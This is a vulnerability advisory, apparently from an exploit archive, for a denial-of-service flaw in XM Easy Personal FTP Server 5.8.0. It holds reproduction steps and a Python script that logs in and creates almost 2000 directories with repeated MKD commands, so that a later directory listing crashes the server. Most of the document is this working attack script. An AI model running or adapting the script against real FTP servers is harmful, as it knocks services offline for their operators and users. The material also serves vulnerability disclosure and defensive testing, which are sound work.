XM Easy Personal FTP Server 5.8.0 Denial Of Service

`###################  
  
Date of Discovery: 24-Nov-2009  
  
Credits:leinakesi[at]gmail.com  
  
Vendor: Dxmsoft  
*******************************************************************************  
Affected:  
  
XM Easy Personal FTP Server 5.8.0  
Earlier versions may also be affected  
*******************************************************************************  
Overview:  
  
XM Easy Personal FTP Server failed to handle more than 2000 files or folders in   
  
the root directory.  
*******************************************************************************  
Details:  
  
if you could log on the server, take the following steps and the server will   
  
crash which lead to DoS.  
  
1.upload 2000 files or folders.  
2.close the current connection.  
3.use a ftp client to reconnect the server.  
user ...  
pass ...  
port ...  
list ...  
crash!!!!!!  
*******************************************************************************  
Exploit example:  
  
1.upload 2000 folders.  
#!/usr/bin/python  
import socket  
import sys  
  
def Usage():  
print ("Usage: ./expl.py <serv_ip> <Username> <password>\n")  
print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")  
if len(sys.argv) <> 4:  
Usage()  
sys.exit(1)  
else:  
hostname=sys.argv[1]  
username=sys.argv[2]  
passwd=sys.argv[3]  
test_string='a'  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
sock.connect((hostname, 21))  
except:  
print ("Connection error!")  
sys.exit(1)  
r=sock.recv(1024)  
sock.send("user %s\r\n" %username)  
r=sock.recv(1024)  
sock.send("pass %s\r\n" %passwd)  
  
for i in range(1,200):  
sock.send("mkd " + "a" * i +"\r\n")  
print "[-] " + ("mkd " + "a" * i +"\r\n")  
r=sock.recv(1024)  
print "[+] " + r + "\r\n"  
for i in range(1,200):  
sock.send("mkd " + "b" * i +"\r\n")  
print "[-] " + ("mkd " + "b" * i +"\r\n")  
r=sock.recv(1024)  
print "[+] " + r + "\r\n"  
for i in range(1,200):  
sock.send("mkd " + "c" * i +"\r\n")  
print "[-] " + ("mkd " + "c" * i +"\r\n")  
r=sock.recv(1024)  
print "[+] " + r + "\r\n"  
for i in range(1,200):  
sock.send("mkd " + "d" * i +"\r\n")  
print "[-] " + ("mkd " + "d" * i +"\r\n")  
r=sock.recv(1024)  
print "[+] " + r + "\r\n"  
for i in range(1,200):  
sock.send("mkd " + "e" * i +"\r\n")  
print "[-] " + ("mkd " + "e" * i +"\r\n")  
r=sock.recv(1024)  
print "[+] " + r + "\r\n"  
for i in range(1,200):  
sock.send("mkd " + "f" * i +"\r\n")  
print "[-] " + ("mkd " + "f" * i +"\r\n")  
r=sock.recv(1024)  
print "[+] " + r + "\r\n"  
for i in range(1,200):  
sock.send("mkd " + "g" * i +"\r\n")  
print "[-] " + ("mkd " + "g" * i +"\r\n")  
r=sock.recv(1024)  
print "[+] " + r + "\r\n"  
for i in range(1,200):  
sock.send("mkd " + "h" * i +"\r\n")  
print "[-] " + ("mkd " + "h" * i +"\r\n")  
r=sock.recv(1024)  
print "[+] " + r + "\r\n"  
for i in range(1,200):  
sock.send("mkd " + "i" * i +"\r\n")  
print "[-] " + ("mkd " + "i" * i +"\r\n")  
r=sock.recv(1024)  
print "[+] " + r + "\r\n"  
for i in range(1,200):  
sock.send("mkd " + "j" * i +"\r\n")  
print "[-] " + ("mkd " + "j" * i +"\r\n")  
r=sock.recv(1024)  
print "[+] " + r + "\r\n"  
  
sock.close()  
sys.exit(0);  
  
2.use a ftp client to reconnect the server  
for example:  
start->run->cmd->ftp 127.0.0.1->*****->*****->dir  
  
  
  
  
`